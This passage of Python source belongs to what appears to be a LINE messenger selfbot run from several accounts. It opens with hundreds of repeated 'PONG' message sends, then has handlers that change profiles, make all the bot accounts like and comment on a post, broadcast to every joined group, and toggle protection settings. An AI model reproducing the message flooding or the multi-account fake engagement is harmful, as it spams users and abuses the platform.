cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
#---------------------------------------------------------
elif "1cn:" in msg.text:
string = msg.text.replace("1cn:","")
if len(string.decode('utf-8')) <= 30:
profile = ki.getProfile()
profile.displayName = string
ki.updateProfile(profile)
ki.sendText(msg.to,"🔄 Name Changed To :" + string + "")
#--------------------------------------------------------
elif "2cn:" in msg.text:
string = msg.text.replace("2cn:","")
if len(string.decode('utf-8')) <= 30:
profile = ki2.getProfile()
profile.displayName = string
ki2.updateProfile(profile)
ki2.sendText(msg.to,"🔄 Name Changed To :" + string + "")
#--------------------------------------------------------
elif "3cn:" in msg.text:
string = msg.text.replace("3cn:","")
if len(string.decode('utf-8')) <= 30:
profile = ki3.getProfile()
profile.displayName = string
ki3.updateProfile(profile)
ki3.sendText(msg.to,"🔄 Name Changed To :" + string + "")
#-----------------------------------------
elif msg.text in ["Myname"]:
h = cl.getContact(mid)
cl.sendText(msg.to,"===[DisplayName]===\n\n" + h.displayName)
#-----------------------------------------
elif msg.text in ["Mybio"]:
h = cl.getContact(mid)
cl.sendText(msg.to,"===[StatusMessage]===\n\n" + h.statusMessage)
#--------------------------------------------------------
elif msg.text in ["Self Like"]:
try:
print "activity"
url = cl.activity(limit=10000)
print url
cl.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
cl.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Bro Jadi Ngopi Gak Nanti??")
ki.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
ki.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Bro Jadi Ngopi Gak Nanti??")
ki2.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
ki2.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Bro Jadi Ngopi Gak Nanti??")
ki3.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001)
ki3.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Bro Jadi Ngopi Gak Nanti??")
cl.sendText(msg.to, "Done ✅")
except Exception as E:
try:
cl.sendText(msg.to,str(E))
except:
pass
#--------------------------------------------------------
elif "Bc: " in msg.text:
bc = msg.text.replace("Bc: ","")
gid = cl.getGroupIdsJoined()
for i in gid:
cl.sendText(i,"=======[BROADCAST]=======\n\n"+bc+"\n\nContact Me : line.me/ti/p/~addtapigakpc")
cl.sendText(msg.to,"Success BC! ✅")
#--------------------------------------------------------
elif msg.text in ["Remove chat"]:
cl.removeAllMessages(op.param2)
cl.sendText(msg.to,"Removed all chat")
#--------------------------------------------------------
elif "Mybio:" in msg.text:
string = msg.text.replace("Mybio:","")
if len(string.decode('utf-8')) <= 500:
profile = cl.getProfile()
profile.statusMessage = string
cl.updateProfile(profile)
cl.sendText(msg.to,"🔄 Bio Changed To" + string + "")
#------------------------------------------------------
elif msg.text.lower() == 'Runtime':
eltime = time.time()
van = "Bot sudah berjalan selama "+waktu(eltime)
cl.sendText(msg.to,van)
#---------------------------------------------------------------------------
elif "Kepo " in msg.text:
tanggal = msg.text.replace(" ","")
r=requests.get('https://script.google.com/macros/exec?service=AKfycbw7gKzP-WYV2F5mc9RaR7yE3Ve1yN91Tjs91hp_jHSE02dSv9w&nama=ervan&tanggal='+tanggal)
data=r.text
data=json.loads(data)
lahir = data["data"]["lahir"]
usia = data["data"]["usia"]
ultah = data["data"]["ultah"]
zodiak = data["data"]["zodiak"]
cl.sendText(msg.to,"Tanggal Lahir: "+lahir+"\n\nUsia: "+usia+"\n\nUltah: "+ultah+"\n\nZodiak: "+zodiak)
#---------------------------------------------------------------------------
elif "Mid:" in msg.text:
mmid = msg.text.replace("Mid:","")
msg.contentType = 13
msg.contentMetadata = {"mid":mmid}
cl.sendMessage(msg)
#---------------------------------------------------------------------------
elif msg.text.lower() == 'contact on':
if wait["contact"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"contact set to on")
else:
cl.sendText(msg.to,"contact already on")
else:
wait["contact"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"contact set to on")
else:
cl.sendText(msg.to,"contact already on")
#-----------------------------------------------------------------
elif msg.text.lower() == 'contact off':
if wait["contact"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"contact set to off")
else:
cl.sendText(msg.to,"contact already off")
else:
wait["contact"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"contact set to off")
else:
cl.sendText(msg.to,"contact already off")
#-----------------------------------------------------------------
elif msg.text.lower() == 'protect on':
if wait["protect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection set to on")
else:
cl.sendText(msg.to,"Protection already on")
else:
wait["protect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection set to on")
else:
cl.sendText(msg.to,"Protection already on")
#-----------------------------------------------------------------
elif msg.text.lower() == 'qr on':
if wait["linkprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Qr set to on")
else:
cl.sendText(msg.to,"Protection Qr already on")
else:
wait["linkprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Qr set to on")
else:
cl.sendText(msg.to,"Protection Qr already on")
#-----------------------------------------------------------------
elif msg.text.lower() == 'invit on':
if wait["inviteprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Invite set to on")
else:
cl.sendText(msg.to,"Protection Invite already on")
else:
wait["inviteprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Invite set to on")
else:
cl.sendText(msg.to,"Protection Invite already on")
#-----------------------------------------------------------------
elif msg.text.lower() == 'cancel on':
if wait["cancelprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Cancel Protection set to on")
else:
cl.sendText(msg.to,"Cancel Protection already on")
else:
wait["cancelprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Cancel Protection set to on")
else:
cl.sendText(msg.to,"Cancel Protection already on")
#-----------------------------------------------------------------
elif msg.text.lower() == 'auto join on':
if wait["autoJoin"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Autojoin set to on")
else:
cl.sendText(msg.to,"Autojoin already on")
else:
wait["autoJoin"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Autojoin set to on")
else:
cl.sendText(msg.to,"Autojoin already on")
#-----------------------------------------------------------------
elif msg.text.lower() == 'blocklist':
blockedlist = cl.getBlockedContactIds()
cl.sendText(msg.to, "Please wait...")
kontak = cl.getContacts(blockedlist)
num=1
msgs="User Blocked List\n"
for ids in kontak:
msgs+="\n%i. %s" % (num, ids.displayName)
num=(num+1)
msgs+="\n\nTotal %i blocked user(s)" % len(kontak)
cl.sendText(msg.to, msgs)
#-----------------------------------------------------------------
elif msg.text.lower() == 'auto join off':
if wait["autoJoin"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Autojoin set to off")
else:
cl.sendText(msg.to,"Autojoin already off")
else:
wait["autoJoin"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Autojoin set to off")
else:
cl.sendText(msg.to,"Autojoin already off")
#-----------------------------------------------------------------
elif msg.text.lower() == 'protect off':
if wait["protect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection set to off")
else:
cl.sendText(msg.to,"Protection already off")
else:
wait["protect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection set to off")
else:
cl.sendText(msg.to,"Protection already off")
#-----------------------------------------------------------------
elif msg.text.lower() == 'qr off':
if wait["linkprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Qr set to off")
else:
cl.sendText(msg.to,"Protection Qr already off")
else:
wait["linkprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Qr set to off")
else:
cl.sendText(msg.to,"Protection Qr already off")
#-----------------------------------------------------------------
elif msg.text.lower() == 'invit off':
if wait["inviteprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Invite set to off")
else:
cl.sendText(msg.to,"Protection Invite already off")
else:
wait["inviteprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection Invite set to off")
else:
cl.sendText(msg.to,"Protection Invite already off")
#-----------------------------------------------------------------
elif msg.text.lower() == 'cancel off':
if wait["cancelprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Cancel Protection Invite set to off")
else:
cl.sendText(msg.to,"Cancel Protection Invite already off")
else:
wait["cancelprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Cancel Protection Invite set to off")
else:
cl.sendText(msg.to,"Cancel Protection Invite already off")
#-----------------------------------------------------------------
elif "Group cancel:" in msg.text:
try:
strnum = msg.text.replace("Group cancel:","")
if strnum == "off":
wait["autoCancel"]["on"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Itu off undangan ditolak👈\nSilakan kirim dengan menentukan jumlah orang ketika Anda menghidupkan")
else:
cl.sendText(msg.to,"Off undangan ditolak👈Sebutkan jumlah terbuka ketika Anda ingin mengirim")
else:
num = int(strnum)
wait["autoCancel"]["on"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,strnum + "Kelompok berikut yang diundang akan ditolak secara otomatis")
else:
cl.sendText(msg.to,strnum + "The team declined to create the following automatic invitation")
except:
if wait["lang"] == "JP":
cl.sendText(msg.to,"")
else:
cl.sendText(msg.to,"Weird value🛡")
#-----------------------------------------------------------------
elif msg.text in ["Tag on"]:
if wait["tag"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already on")
else:
cl.sendText(msg.to,"Tag On")
else:
wait["tag"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Tag On")
else:
cl.sendText(msg.to,"already on")
elif msg.text in ["Tag off"]:
if wait["tag"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already off")
else:
cl.sendText(msg.to,"Tag Off")
else:
wait["tag"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Tag Off")
else:
cl.sendText(msg.to,"Already off")
elif msg.text.lower() == 'leave on':
if wait["leaveRoom"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto Leave room set to on")
else:
cl.sendText(msg.to,"Auto Leave room already on")
else:
wait["leaveRoom"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto Leave room set to on")
else:
cl.sendText(msg.to,"Auto Leave room already on")
elif msg.text.lower() == 'leave off':
if wait["leaveRoom"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto Leave room set to off")
else:
cl.sendText(msg.to,"Auto Leave room already off")
else:
wait["leaveRoom"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto Leave room set to off")
else:
cl.sendText(msg.to,"Auto Leave room already off")
#-----------------------------------------------------------------
elif msg.text.lower() == 'share on':
if wait["timeline"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Share set to on")
else:
cl.sendText(msg.to,"Share already on")
else:
wait["timeline"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Share set to on")
else:
cl.sendText(msg.to,"Share already on")
#-----------------------------------------------------------------
elif msg.text.lower() == 'share off':
if wait["timeline"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Share set to off")
else:
cl.sendText(msg.to,"Share already off")
else:
wait["timeline"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Share set to off")
else:
cl.sendText(msg.to,"Share already off")
#--------------------------------------------------------
